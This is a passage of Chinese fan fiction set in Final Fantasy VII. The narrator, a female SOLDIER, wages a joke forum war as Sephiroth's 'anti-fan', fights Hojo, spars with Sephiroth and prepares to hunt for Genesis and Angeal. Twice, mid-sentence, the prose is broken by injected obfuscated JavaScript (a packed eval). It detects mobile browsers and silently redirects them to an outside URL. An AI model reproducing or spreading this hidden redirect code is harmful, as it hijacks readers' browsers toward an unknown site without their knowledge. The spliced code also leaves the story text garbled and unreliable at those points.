我此刻的表情一定很奇怪。 奇怪到萨菲罗斯也放下了正宗,他指着旁边的小蛋糕,语气无奈。 ”下次吧,吃蛋糕吗?“ 今天的我确实没什么状态,于是我欢呼一声就跑到旁边的桌子上准备舒舒服服的享用甜品。 并且尽力不让我看他的脸,不然我怕把奶油喷出来。 ”……“ 萨菲罗斯坐在我身旁,静静的看着我。 嚼着水果,我随意发问。 ”你粉丝很多啊。“ "粉丝?"萨菲罗斯挑了挑眉,似乎对这个话题有些意外。 我还在努力憋笑,嘴里塞满了蛋糕,点着头示意他继续说。 "我不关注这些。"他平静地说,银发垂落在肩头,在训练室的灯光下泛着冷色调的光泽。 ”哦,好吧。“ 点点头后,我突然想到什么。 ”萨菲罗斯,那你有黑粉吗?“ “黑粉?” 我故作崇拜的说。 “是啊,人见人爱的神罗大英雄有黑粉吗?” 我以为他可能会有些尴尬,没想到萨菲罗斯思索片刻后,给了我个精准的答案。 “应该有。毕竟满足所有人的喜好是不可能的,当基数扩大……” 在看到我无趣的表情后,他停止了叙说,只是保持着那种似笑非笑的表情,戳了戳我的额头。 “好好吃蛋糕吧。” 需要你说嘛?我已经在吃了。 第二天,起床之时,发现我收到了很多后台的私信。 【你根本不懂萨菲罗斯大人的魅力!】 【某人是嫉妒吧?疑似是被筛选出局的候补生哈。】 【是不是现实里太阴暗了所以看不得阳光正派啊?回去先洗把脸照照镜子吧。】 ? 眼看有些人已经开始攻击我的全家和祖籍(虽然我不清楚我有没有这个东西),我下了一个十分严肃的决定—— 我要成为萨菲罗斯的黑粉。 行动力惊人的我很快开始了我的"黑粉计划"。 晚饭时间,萨菲罗斯一如既往地坐在我对面,吃着那些没有味道的神罗标准餐。我偷偷打量着他,心里盘算着怎么开始我的黑粉事业。 "怎么了?"萨菲罗斯抬起头,湖绿色的眼睛带着一丝疑惑。 "没什么。"我迅速低头,专心致志地嚼着餐盘里的土豆泥,顺便用叉子将讨厌的青椒推到一边。 有了。 比如偷拍几张他的丑照。 就从现在开始——趁他不注意,我悄悄拿出终端,对准了他正在咀嚼食物的一瞬间。 咔嚓。 "你在做什么?"萨菲罗斯的声音冷不丁响起。 "啊?没、没什么啊!"我慌忙把终端塞回口袋,装作若无其事的样子。 萨菲罗斯微微眯起眼睛,那种"我知道你在搞鬼"的表情让我心虚地移开视线。 "咳咳,那个...今天的青椒特别好吃!"我随口胡诌,拿起一片青椒往嘴里送。 结果刚碰到舌头就想吐了。为什么我要说这种自掘坟墓的话?! 萨菲罗斯的嘴角微微上扬:"是吗?那再多吃几片吧。" 说着,他用叉子叉起自己盘子里的青椒,不由分说地放到了我的盘子里。 "喂!"我抗议道,但他的眼神告诉我:要么吃下去,要么告诉我你刚才在干什么。 好吧,为了黑粉事业,忍。 勉强咽下那几片恶心的青椒后,我赶紧起身:"我还有任务,先走了!" 逃也似地离开食堂,我迫不及待地查看刚才拍的照片。 结果—— "???" 照片上的萨菲罗斯依然完美得令人发指,就算是在咀嚼食物的瞬间,也像是在拍摄高级广告。银发在食堂的灯光下闪烁着柔和的光泽,侧脸的线条如同艺术品般精致。 这哪里是丑照?简直是可以直接用来应征模特的照片好吗! 我挫败地叹了口气。看来照片这条路行不通。 思考了一会儿,我有了新主意——发帖。 回到宿舍,我迅速登录了神罗公开论坛,用小号发布了帖子: 【震惊!英雄萨菲罗斯的七个不为人知的缺点!】 内容我绞尽脑汁编了一通: 1. 偷吃别人的东西(这是真的,他总是偷吃我的甜点,明明他自己很少买甜点吃) 2. 洗发水用量惊人(一个月至少五瓶,我亲眼所见) 3. 睡觉打呼噜(...好吧这是编的) 4. 战斗中太装了(个人认为完全真实) 5. 宿舍一团乱(完全编造) 6. 说话喜欢让绕圈子让人听不懂(太真实了) 7. 其实很怕虫子(纯属想象) 发完帖子后,我满意地躺在床上,等待炸弹引爆的一刻。没过多久,通知就疯狂闪烁起来。 "哈哈,看来有人上当了!" 我得意洋洋地点开评论区,结果—— 【楼主你是不是嫉妒?萨菲罗斯大人怎么可能会怕虫子?】 【明明是认真负责!洗发水用量多是因为头发长需要特别护理,这叫专业!】 【打呼噜?我愿意付钱听!】 【楼主爆料太假,一看就知道是编的。】 居然无一人相信我的造谣爆料,可恶。 为了增加可信度,我从自己的相册里面扒出一张萨菲罗斯睡觉时的照片,因为没有打光,场景有些晦暗,而且他看起来有些疲惫——这是我相册里勉强能拿出的他最丑的照片了。 【(图片)我是内部员工。】 果然,那些质疑的声音停了下来。 我挑了挑眉,正准备继续瞎编乱造,帖子忽然就跟爆炸一样,一下刷了几百楼。 【萨菲罗斯睡觉都这么帅吗?不愧是神罗的英雄!】 【天啊,这张照片可以卖钱,楼主快说你要多少钱?】 【他睡着的样子好温柔…突然好想当他的枕头】 【这是哪里拍的?楼主你怎么会有这种照片?】 正当我一头雾水之时,一个带着特殊标签的人私信了我。 好像是论坛管理员? 【H:你是谁???】 【我:你猜,嘻嘻。】 我记得之前在开会的时候,拉扎德稍稍介绍过,我们1st的ip地址都是由神罗兵器部和安全部一手加密的。 如果不是总裁或直属部门部长,不大会有人把我直接扒出来。 【H:我会找到你的。】 那人就留下了这么一句莫名其妙的话后,就消失了,再等我回到原先帖子的界面时,帖子已经不见了。 看来他的权限也不小。 顺着这个“H”的账号,我发现他居然是萨菲罗斯粉丝后援会的超级粉头兼会长,发布的都是些内容奇怪的崇拜言论,更是有着一些萨菲罗斯的直拍照片。 难道他也是神罗的内部人员吗? 最重要的是,他昨天的动态首页转发了我那条简单的评论,甚至号召“粉丝”们去私信轰炸我。 呵呵,看来我的黑粉之路第一步就遇见仇人了。 这次我要动真格的。 翻出手机里存的所有萨菲罗斯的照片,我开始精心挑选。啊,这张在训练场上的不错,虽然动作依然帅气,但是头发有点乱…这张在吃饭时的也行,虽然表情还是那么优雅,但至少能看出来他在偷吃我的甜点… 【标题:震惊!神罗英雄私下竟是这样的人!(多图)】 我开始编写内容:"大家好,我是一个在神罗工作的普通员工。有幸能经常见到萨菲罗斯将军,今天就给大家爆料一下他不为人知的一面…" 刚写到这里,终端就震动了一下。 【H:我警告过你了。】 你是哪根葱? 我直接无视了这个H在后台给予我的一堆人生攻击。 "首先,萨菲罗斯将军其实很爱吃甜食,但从来不自己买,总是偷吃别人的…" 结果帖子发了一半就又被封了,我勾唇一笑,立马发动我在战场上的速度,又开了一个新帖子。 "萨菲罗斯其实很爱耍帅,战斗的时候非要甩一下头发才出招…" 就这样,我跟那个名为”H“的管理员大战了一整个下午,在做任务的时候我都没放下过终端——所以今天的效率有点低,但我觉得一点都不亏。 晚上躺在床上,我已经开始编到”萨菲罗斯其实是外星人“这样的离谱言论了,新的帖子还没发出去,那位H终于决定与我线下碰面。 【H:我们谈谈。明天下午三点,神罗大厦55层。】 看起来就像是那种经典的恐吓信息。 不过…这位"H"先生,你未免也太小瞧我了。 居然约在神罗大厦?要知道那里可是我的主场! 【我:好啊,不见不散。】 我可是连科学部部长宝条都敢揍一顿的人,看我不把你线下单杀了。 第二天下午,三点。 磨好刀的我一进门,就与带着眼镜的宝条面面相觑。 ”……“ 半驮着背的科学家的眼镜都要掉下来了,他一副完全惊讶的模样,似乎完全没想到是我。 首先先往后退了一步,回过神,就用那种阴森的语气桀桀笑着。 ”呵呵……原来是嫉妒哥哥啊。“ 我也没想到这个老东西居然是萨菲罗斯粉丝后援会的会长。 新仇旧恨一起混杂——小时候看着我怪笑的监视,把我当什么物品似的炫耀,引战轰炸我的不爽,以及现在的立场对立。 ……至于什么立场对立? 他是粉丝粉头,我是首席黑粉。 于是我没有犹豫的拔出背后的大太刀,劈了过去。 等到萨菲罗斯赶到之时,55层一片混乱。 仅仅10分钟不到,神罗内部就已经发布了三级警告。 杰内西斯坐在废墟之旁,饶有兴致的看着——第一个回来的其实是他,但红发1st稍微象征性的阻止了一下我,就给自己选好座位观赏大戏了。 “他在那,看到了吗?” 顺着他的手指,我立马发现了往电梯口跑的宝条,他身上已然狼狈,小辫子都被我削去了大半,表情在愤恨和……兴奋之间? 我会意的点头后,桀桀笑着准备请他吃头破血流套餐,抬起头,正宗的刀锋挡住了我的道路。 “……” 萨菲罗斯的表情可以说是精彩绝伦。 那种介于"我就知道会这样"和"为什么总是你"之间的复杂神情,让我不由得停下了追击的脚步。他银色的长发随着急促的动作微微飘动,在55层的应急灯光下泛着奇异的光泽。 "解释一下。"他的声音冷静得出奇,但我能感觉到其中压抑的怒火。 我耸耸肩,一脸无辜:"我只是在跟宝条博士交流一下对你的看法而已。" "……交流?"他的目光扫过周围的一片狼藉。实验设备东倒西歪,有的甚至冒着火花;墙壁上留下了几道深深的刀痕;地板上散落着碎玻璃和不知名的液体。 "嗯,热烈的交流。"我点点头,试图绕过他继续追击,但正宗依然纹丝不动地挡在我面前。 我把大太刀放回背后,有些遗憾地看着宝条消失在电梯里的背影。就差那么一点点,我就能再次把那个让人不爽的科学家送进医院了。 "不打算解释一下吗?"萨菲罗斯的声音很平静,但我能感觉到平静之下的暗流涌动。 "什么需要解释的?"我摊开双手,"他先挑衅的!" "挑衅?"萨菲罗斯挑起一边眉毛,"具体是什么挑衅?" "他——"我突然卡住了,总不能说因为他是你的粉头而我是你的黑粉所以我们打起来了吧? 杰内西斯从废墟边站起来,拍了拍身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479161|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不存在的灰尘,语气中带着明显的幸灾乐祸:"看来今天的戏码比《LOVELESS》戏剧第四幕还要精彩。" 萨菲罗斯深吸一口气,似乎在思考如何处理这个局面。 "下面,我们要去拉扎德主任那里报到。"他语气平淡得仿佛在讨论今天的午餐。 "啊?"我瞪大眼睛,"为什么?明明是宝条先——" "因为损坏了价值约50万gil的设备,"杰内西斯悠悠地接话,翻开《LOVELESS》,"''当女神的怒火降临,灾祸将随之而来''...看来这次你真的闯大祸了。" "切,不就是几台破机器吗?"我嘟囔着,但还是乖乖跟在萨菲罗斯身后,朝着电梯走去。 杰内西斯对我露出一个意味深长的笑容,然后也跟了上来。三个银发(好吧,杰内西斯是红发)的特种兵挤在一个电梯里,气氛诡异得让人窒息。 "所以,"杰内西斯打破沉默,"你为什么要袭击宝条博士?还有,那个论坛上的''萨菲罗斯早上起床不梳头''就是你?" 我惊讶地看向他:"你怎么知道?" 萨菲罗斯的头猛地转向我,那双魔晄眼睛里闪过一丝我读不懂的情绪。 "什么?"他问。 杰内西斯露出了那种看好戏的表情:"哦,你不知道吗?最近神罗内部论坛上有人发布了一系列贬低你的帖子,说你——" "咳咳!"我猛烈地咳嗽起来,试图打断他,"那个只是开玩笑啦!" 电梯门适时地打开了,拉扎德主任站在办公室门口,表情严肃。看来消息已经传到了他那里。 "你们三个,进来。"他简短地说。 拉扎德的办公室一如既往地整洁有序。他坐在宽大的办公桌后面,示意我们三人在对面的椅子上坐下。 "所以,"他双手交叉放在桌面上,"谁来告诉我55层为什么又变成了废墟?" "又?"杰内西斯轻声重复道,嘴角勾起一丝笑意。 拉扎德叹了口气:"这已经是第三次了。上次你差点拆了训练场,上上次你在科学部打伤了五名研究员。现在,55层的实验设备全毁了。" 我耸耸肩:"这次真的不怪我,是宝条博士先挑衅的。" 怎么可能是我的错?需要我拿出我的设备显示他是怎么引战黑我的吗? "挑衅?"拉扎德扬起眉毛,"怎么挑衅了?" 我张了张嘴,又闭上了。 网络骂战这种理由我有些不知道该如何解释。 萨菲罗斯轻轻咳了一声:"拉扎德主任,设备的损失我会从我的薪水中扣除。" "不行!"我立刻反对,"是我弄坏的,应该从我的薪水里扣!" "你的薪水?"拉扎德露出一个苦笑,"就算扣你十年的薪水也赔不起这些设备。 “哦。” “那我不赔了,神罗会把我开除吗?” 我的无赖言论让拉扎德一时之间不知该说什么好。 萨菲罗斯轻轻摇头:"不必,我来处理。" 我刚想再反驳,杰内西斯却突然开口:"55层的设备不是早就老化了吗?" 干的漂亮杰内西斯。 拉扎德看起来有些头疼:"好吧,设备的事情先放一边。你能解释一下为什么要攻击宝条博士吗” “……” 我现在觉得拉扎德桌子上的文件夹分类的特别好。 "她不需要解释。" 萨菲罗斯的声音很平静。 拉扎德看了他一眼,似乎明白了什么:"好吧,但这次不能就这么算了。你被停职一周。而萨菲罗斯,确保她不会再惹麻烦。" "什么?停职?"我装出一副十分惊讶的模样,竭力压抑住自己将要面对一周假期的欣喜,"那我这一周做什么?" "思过。"拉扎德简短地说。 离开办公室后,杰内西斯露出了一个意味深长的笑容:"看来你这次真的惹上大麻烦了。不过...萨菲罗斯的粉丝头子居然是宝条?这真是个有趣的发现。" 说完,他优雅地行了个礼,然后转身离去,红色的风衣在走廊上划出一道鲜艳的弧线。 看杰内西斯这个装模做样的范,他绝不会知道刚刚我把他《loveless》里的书签顺走了,大概不用30分钟,红发1st立马就会原形毕露的敲我宿舍的门。 现在只剩下我和萨菲罗斯面面相觑。 "所以,"他开口,声音出奇地平静,"你在网上发布了关于我的黑帖?" 我理所应当的叉着腰:"我只是开玩笑的!而且谁让那些粉丝那么烦人!" "粉丝?"他似乎对在这个场景提到这个感到困惑。 "就是那些...那些崇拜你的人。"我挥舞着手臂,"整天''萨菲罗斯大人好帅''''萨菲罗斯大人我要为你去死''什么的,烦死了,他们根本就不了解你。" 萨菲罗斯的表情变得更加困惑了:"你...因为这个生气?" "当然!"我大声说,然后突然意识到自己的反应可能有点过度,声音低了下来,"呃,我是说...你昨天拍的那个宣传片真的很...嗯...很..." "很什么?"他逼问道。 "很装!"我终于说出了心里话,"那些台词,那些pose,太尬了,你拍的时候肯定也绷不住,明明神罗是个压榨企业。" "但那些粉丝就像疯了一样!而且我单纯评论说那很装,就被一堆人攻击。然后我发现攻击我最凶的那个''H''居然是宝条。" 萨菲罗斯摇了摇头,但我发誓我看到他在憋笑:"我从不知道你这么在意别人对我的评价。" 他注意点居然在这里? 不过有什么好笑的? "我没有在意!"我立刻反驳,"我只是不爽。" "为什么不爽?" 我咬了咬嘴唇,忽的也找不到自己不爽的原因。萨菲罗斯似乎也不再追问,只是轻叹一声。 "走吧,既然你被停职了,那就回宿舍休息。"他说着,转身朝宿舍区走去。 "喂,不就是停职嘛,我又不是不能出门!"我追上他,"我有很多事情可以做,这不是给我放假吗?" "比如?" "比如在宿舍看小说,比如去米德加下层逛逛,或者去训练。" 萨菲罗斯停下脚步,认真地看着我:"你不觉得你已经惹够麻烦了吗?" "这能一样吗?"我辩解道,"我保证不会再闯祸了。" 他挑起一边眉毛,明显不相信我的话。 "好吧,那你陪我一起去。"我突然提议,"这样你就可以看着我不惹麻烦了!" 萨菲罗斯看起来有些犹豫。 有什么好犹豫的? 萨菲罗斯你就承认吧,你也很想出去玩——然后出门的资金就拜托你先付一下了。 “你去不去吧,你不去我可能会闯祸呢。” 他轻轻叹了口气,那种我已经很熟悉的、无奈又妥协的叹息:"好吧,明天我陪你去下层区。但你必须保证不惹麻烦。" "我保证。"我兴奋地举起手,"绝对不惹麻烦!" 就在这时,我的终端响了。 是杰内西斯。 【我书签呢?】 【转我5000Gil解锁相关信息】 【?】 我正准备等着收钱,就收到了杰内西斯发来的一张图片。 图片上是我造谣说萨菲罗斯经常去七号街的帖子截图,原帖出现3分钟就被删掉了,谁知道杰内西斯怎么搞到的。 他难道是那种高强度刷萨菲罗斯粉丝论坛的人吗? 不过说到底我也不知道七号街有什么,只是看到网上有人吵架之时会评价对方“去七号街去多了导致的”。 但莫名的,我觉得这张照片不能出现在萨菲罗斯面前。 【呵呵,等下来宿舍我还你】 "怎么了?"萨菲罗斯注意到了我的表情变化。 我迅速收起终端,露出一个灿烂的笑容:"没什么!只是安吉尔问我要不要一起吃晚饭。" 他的目光在我脸上停留了几秒,似乎在判断我是否说了谎。最后,他只是点了点头:"走吧,我也饿了。" 当我们走向食堂时,我忍不住想:七号街那里到底有什么呢? 我很好奇。 反正明天也要和他一起去下层区了…… 我忽然抓住萨菲罗斯的衣角,银发男人转过头看我。 “萨菲罗斯,明天我们去七号街吧!” “……” 19. 第17章 战斗开始。 研究员将手中的研究报告暂且放下,摁下了控制台前的按钮。 虚拟战斗场瞬间布局,冰冷的金属墙壁刹那间化为巍峨的石壁,林间的瀑布发出哗啦啦的水声,浅浅的水泊中央,银发的英雄左手持刀,站于原地。 莹绿色的眸子比起往日的平静,多了些许晦暗的压迫感。 在场景改变的一瞬,先前还站在对侧的银发女人就消失不见了。 耳畔是水流打在石崖的清脆,飞鸟纷飞而过的轻盈,以及风吹拂带起树叶的嘈杂。 滴答—— 正中央的男人猛地转身,银发随之稍微摇晃,瞳孔不自然皱缩的刹那,刀口相架。 金属碰撞的声音在峡谷中回荡,火花四溅。 萨菲罗斯略微眯起眼睛,手腕微调,刀锋相错的瞬间借力后撤三步,拉开距离。 不等他站稳,女人已经再次消失在视野中。研究员们看到监测仪器上的速度指数飙升。下一刻,岩壁上传来急促的脚步声,几块碎石被踢落坠入水中。 萨菲罗斯没有转身,而是侧身,正宗刀平举过头顶。果然,从上方袭来的大太刀被精准挡住。力量的冲击使地面微微震动,水面泛起涟漪。 顺着气流,银发英雄瞥见了她因为兴奋而颤动的眼眸。 四下干脆的斩击在瞬时释放,最后一下将那相对于他娇小了些许的身影甩飞出去。① 在空中的影子还未落地,他就提刃往前,刀光一闪,在天穹中被对方格挡住。② 今天的萨菲罗斯,心情好像不怎样。 一次猛烈的冲撞后,两人分开。萨菲罗斯稳稳落地,水面因他的重量荡起圈圈涟漪。而她却选择借力踏上峭壁,在垂直的岩面上如履平地,大太刀拖曳出一道银色的轨迹。 忽然,女人从岩壁上一跃而下,刀锋直指萨菲罗斯头顶。英雄侧身闪避,顺势一记上挑,接着是接连不断的挥击③,无数刀气掀起水浪。她在半空中扭转身体,避过数道攻击,但衣角还是被划破。 接下来的交锋快到肉眼难以捕捉,只能从监测屏幕上看到两人的位置不断变换,能量波动如爆炸般此起彼伏。水花四溅,岩石碎裂,虚拟环境的算法努力渲染着战场上每一处被破坏的细节。 突然,一道刺目的光芒闪过。八道刀光如流星划过战场,将她逼入角落。她举刀格挡,每一次碰撞都让她后退一步,脚下的岩石被踩得粉碎。④ 一个大胆的翻滚躲过最后一刀,她将大太刀高高举起,刀身开始泛出不祥的红光。置于半空的萨菲罗斯将刀反握,向下劈刺的动作一转,正宗刀立刻摆出防御姿态。⑤ 两道能量在战场中央碰撞,爆发出刺目的白光。监控屏幕一片雪花,数据面板疯狂闪烁着超载警告。研究员们下意识地后退,甚至有人扑向紧急终止按钮。 灯光闪烁,在屏幕后的宝条声音因为兴奋而稍稍颤抖。 “继续。” 第二阶段开始。 —— 不知道为什么,萨菲罗斯好像生气了。 “在战场上,我和扎克斯发现了杰内西斯的复制体。” 神罗大厦的信息中心,我眨了眨眼。 “复制体?” “对。荷兰德在科学部门的主导权竞争中失败了,窃取神罗的核心复制技术后失踪。而杰内西斯……你知道这意味着什么吗?” 对面的萨菲罗斯不是第一次跟我说起这事了,不如说,自从那天后,就在我身边日日夜夜的强调—— “我管他意味着什么,我会把那个红毛抓住,然后把失踪的安吉尔找回来。” 我耸了耸肩,划过终端屏幕上杰内西斯的通缉令,接着,手中的屏幕被一下抽走。 银发的英雄居高临下的望着我。 “……所以你是怎样都不愿听话了,是吗?” 我根本就不知道萨菲罗斯最近在破防些什么,撇了撇嘴,正准备去抢,他却将终端举高。 “听话?听什么?我都说过多少遍了,萨菲罗斯。我死都要把杰内西斯抓回来,然后让他把那些破谜语一个个解释给我听,你听明白了吗?“ 这段话好像有几个字触动了他的神经,黑色皮革下的手指稍稍颤抖,他唇瓣紧抿,忽地将手中的终端重重的拍在旁边的桌子上。 我看到铁质的桌子腿明显的摇晃了一下。 "……好。" 留下了这么一个字,他转身就走。 而我急忙去看我的终端是否还活着。 —— 当画面重新恢复时,整个虚拟环境已是一片狼藉。瀑布断流,岩壁崩塌,数据的光点错误的闪烁。而在战场中央,两人依然对峙着,衣衫破损,呼吸微促,却都没有明显的伤痕。 我握紧手里的大太刀,隔着散落在额间的银发,再次冲过去。 水花四溅。 虽然不知道为什么他脸色这么臭,但是我打的可爽了。 萨菲罗斯微微侧身,正宗刀精准地拦住了我的攻击。金属相撞的清脆声响在峡谷中回荡,震得我虎口发麻。 但这正是我想要的。 借着武器碰撞的反作用力,我一个后翻腾越过他的头顶,在空中调整姿势,刀锋直指他的后背。萨菲罗斯却像背后长了眼睛一样,不慌不忙地抬起正宗,头也不回地挡住了我的偷袭。 "太慢了。"他淡淡地说。 装吧你。 我落地的瞬间,脚尖点水,激起一圈波纹,再次冲向他。这次我采取了不同的战术,刀锋低垂,贴着水面滑行,打算从下向上击破他的防御。 萨菲罗斯显然看穿了我的意图,但他选择了正面应对。正宗刀垂直劈下,与我的大太刀相撞,溅起的火花照亮了我们的脸。 我们的脸靠得很近,近到我能清楚地看见他眼睛里的魔晄光芒。那双眼睛平静如水,却隐藏着压抑的怒意。 为什么?为什么他看起来这么生气? 没时间思考了,萨菲罗斯突然发力,将我弹开。我在空中翻了两个跟斗,双脚稳稳落在一块凸起的岩石上。 "哦?这次不逃了吗?"我冲他露出挑衅的笑容,"终于准备认真了?" 萨菲罗斯不置可否,银发随着微风轻轻飘动。他调整了握刀的姿势,这是他准备使用大招的征兆。 来了。 果然,下一秒,萨菲罗斯的身影消失在原地。我立刻将大太刀横在胸前,全神贯注地感知着周围的气流变化。 左边! 我猛地转身,大太刀精准地挡住了从左侧劈来的正宗。金属撞击的冲击波震碎了我脚下的岩石,我借势跃向空中,躲过了他的第二击。⑥ 但萨菲罗斯的攻势如潮水般汹涌而来,根本不给我喘息的机会。我在空中与他交手数十回合,每一次碰撞都让周围的虚拟环境产生剧烈震动。 瀑布的水流开始紊乱,岩壁上出现了裂痕,甚至连天空都开始闪烁着数据错乱的痕迹。 "系统快要承受不住了,"我在闪避间隙调侃道,"你是不是太认真了?" "这种程度,只是热身而已。"萨菲罗斯面无表情地回应,手中的正宗却越发凌厉。 切。 我突然改变战术,不再闪避,而是正面迎击。大太刀上缠绕着魔晄能量,随着我的挥舞,刀锋延伸出数米长的能量刃。 在空中的他微微眯眼,某种漆黑的光亮闪烁过正宗的刀锋。 那是一种濒临死亡的触感。⑦ ”……“ 黑光刹那闪过,我听见了自己剧烈的心跳声,某种本能叫嚣着。 等回过神的时候,身体比意识更快的跃出好几步远,身后的银发不知何时已然披散了,发绳不知所踪。 一道巨大的沟壑出现在墙壁上,勉强维持的虚拟环境彻底失效,呈现在我们眼前的是破破烂烂的训练室。 结束了。 热身还没热身完呢,不是吧…不过今天看到他用新技能了,有点意思。 我抬起头,望见的是他稍稍愣怔的模样,似乎萨菲罗斯自己都没有意识到,自己失控了。 ”哇,那是什么,太帅了吧!我能学吗?“ 战斗很明显终止了,我将大太刀背在身后后,兴奋的凑过去,银发的英雄握紧刀柄,他微微偏头。 你不好意思什么? 失控多好啊,失控太好了,打的我真爽。 "不,你不能。"他声音低沉,"这不是什么训练招式。" "哎,为什么啊?"我不满地嘟囔着,"我可是会很认真学的!" 训练室周围的研究员们已经忙着检查设备损坏情况,几个人低声交谈着什么,眼神不时飘向我们这边。萨菲罗斯注意到了他们的视线,微微皱眉。 "训练结束了。"他将正宗收回,转身就要离开。 "喂!等等!"我小跑几步拦在他面前,"你今天怎么回事啊?从一开始就一副要吃人的样子。" 萨菲罗斯停下脚步,那双碧绿的魔晄眼睛微微眯起:"你还是什么都不明白。" "那你倒是说啊!"我抓住他的手臂,"你最近老是这样。从我跟你说要找杰内西斯开始,你就一直怪怪的。" "松手。" "不松!"我固执地抓着他,"不说清楚我不松手!" 空气突然凝固了。训练室内的工作人员似乎感受到了什么,纷纷低下头假装忙碌,甚至有几个借口离开了现场。 萨菲罗斯深吸一口气,然后猛地转身,反手抓住我的手腕。他的力道刚好控制在不伤害我但我又挣脱不开的程度。 ”……为什么这么执着于找他?如果是因为他救了你的话……现在的他极其不稳定,如果真的站在对立面,你能对他下得去手吗?“ ”能啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479162|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“ 我毫不犹豫地回答让对面的萨菲罗斯停下动作。 "他打不过我,那我把他手脚打断都要带回来。你还有什么疑虑吗?萨菲罗斯你是看不起我的战力吗?" "不是……那你去吧。" 他沉默了会,突然甩开我的手,往前走。 萨菲罗斯又怎么了? 我拽着他的衣角,踉踉跄跄地跟在他身后。这高个子男人走起路来一步顶我两步,我几乎是在小跑才能跟上他,我们二人一起出了训练室。 "你到底怎么了?"我不依不饶地追问,"从上次提到杰内西斯开始,你就一直这副表情。" 走廊上的灯光在我们身上投下长长的影子,两个影子交错在一起,一高一矮,一前一后。萨菲罗斯始终不回头,仿佛打定主意要无视我。 呵呵,装死是吧。 我打算耍阴招,伸出手突然揪住他的头发。 他的脚步一顿,猛地回头,想要把自己的头发从我手里救出来,我死都不撒手,一边叫嚷着。 "说啊,你怎么了?哑巴了?我发绳都被你打没了你知道吗?我用了半年呢。" "你快说话,说话我就原谅你。" “……” 他的视线扫过我披散的银发,些许丝缕因为我的动作划过他的小臂,萨菲罗斯垂下眼眸,他忽地伸手,捏住我的手腕,终于开口了。 "为了杰内西斯,你要冒这种风险吗?现在我们连你手臂上那个魔晶石是什么都查不到……你知不知道你现在的状况有多危险?" 他的力道有些大,我下意识地皱了皱眉,却并不畏惧。从小到大,我们之间的争执从未少过,但这次他的情绪明显不同以往。 “我又不会怎么样,难道我会死吗?” “……” 萨菲罗斯凝视着我,突然开口。 “那我呢?” ? 萨菲罗斯的问题悬在空气中,简单却沉重。我一时语塞,只能瞪着他那双魔晄色的眼睛。 "什么叫''那我呢''?"我感到莫名其妙,"这跟你有什么关系?" "我以为至少在你心里,我比杰内西斯更重要,你说我是独一无二的,记得吗?" "什么叫你比杰内西斯更重要?"我皱起眉头,"这种事情能比较吗?" 我找杰内西斯不止是为了把叛逃的朋友带回来,也是为了我三个月的记忆,为了他那些谜语的答案,为了那些我身上的秘密。 萨菲罗斯还在问我。 “如果你受伤了,如果你再次失踪了,我该怎么办……” 那是一种近乎脆弱的语气。 "我不能失去你。" —— 萨菲罗斯总是说奇怪的话,比如现在,我总是难以理解他的脑回路是怎样的。 “你怎么就会失去我了?我不一直在你身边吗?” 在他还要继续开口之时,我松开了他的银发,举起手给他举例子。 “萨菲罗斯,如果你叛逃了,你猜我会怎么做?” 在神罗的大厦内假设神罗英雄会叛逃这件事可能有些奇怪,如果拉扎德在,我可能要写报告检讨的。 "如果我叛逃了……"他重复我的假设,声音低沉。 "你会来找我?" 我耸耸肩,突然笑了出来。 “我会跟你一起叛逃啊,以我们两人的实力,把盖亚一起炸了都行。” “所以相信我嘛。” 他沉默了,过了会,低低的“嗯”了一声。 …… 神罗大厅,一楼。 新晋的1st——扎克斯在大厅坐着深蹲。 黑发少年的心思乱乱的。 【安吉尔,到底要偷多久的懒啊……】 【已经过去一个月了。】 【萨菲罗斯居然说安吉尔和杰内西斯一样,都叛逃了】 【杰内西斯带着2nd和3rd战士一齐失踪了,还派复制体来袭击我们,到底发生什么了!安吉尔是不会容许这种事的!】 【他可比任何人都看重神罗战士的荣耀】 “烦死了,唉……” 到底该怎么办好。 怎么会突然变成这样—— 一只手突然摁上了他的肩膀,正下蹲的扎克斯停止了动作,黑发少年眨了眨眼后抬头,对上一双带着笑意的璀璨绿眸,些许散落的银发随风飘摇。 “走吧扎克斯,我们一起去找安吉尔和杰内西斯。” “前辈!!!” 扎克斯一下子跳起,猛地抱住了我,差点没把我撞倒。 他的力气真的越来越大了,不愧是玩大剑的。那双蓝色的眼睛里闪烁着惊喜和希望,我几乎能看到他身后摇晃的尾巴。 而且我要被勒死了。 小弟是想要谋杀我继承大哥的位置吗? 20. 第18章 会议室。 拉扎德看到我的时候显露出了难以言喻的表情。 我身旁的扎克斯凑过去,着急的问。 “有安吉尔的消息吗?” 金发男人摇了摇头后,轻轻敲击桌子。 “有新任务。” “1st神罗战士杰内西斯至今为止下落不明,公司打算让你去一趟他的故乡,同时也是安吉尔的故乡。” 我举起手。 “我也要去。” “……” 拉扎德了解我的个性,就算他不让我去,我也会偷偷溜过去——于是部长理了理自己感觉日益稀疏的金发后,应了我一声。 比我还要激动的是扎克斯,他欢呼一声,又过来想要抱我,接着被我用背后的刀鞘不轻不重的往旁边赶了赶。 被他抱一下能给我一种硬吃八刀一闪前三刀的感觉。 还有,不知道为什么扎克斯这么兴奋。可能是在萨菲罗斯近日的监管下,我们好久没见面了吧。 不过每天的表情包和日常不是照样发的吗?他今天早上才给我发了他吃的三明治。 “太好了,只要有前辈的话,我们一定能把安吉尔和杰内西斯带回来!” 小弟的崇拜让我十分受用,扎克斯的信任比起萨菲罗斯的阴谋论好听多了。 